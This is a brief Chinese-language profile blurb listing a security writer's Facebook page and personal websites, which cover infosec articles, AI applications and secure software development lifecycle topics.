社群分享:FB 粉專《資安這條路,飛飛來領路》,分享文章與圖卡整理。
個人網站:feifei.tw 分享資安技術文章;pbtw.tw 分享 AI 相關應用;ssdlc.feifei.tw 分享軟體安全開發流程文章。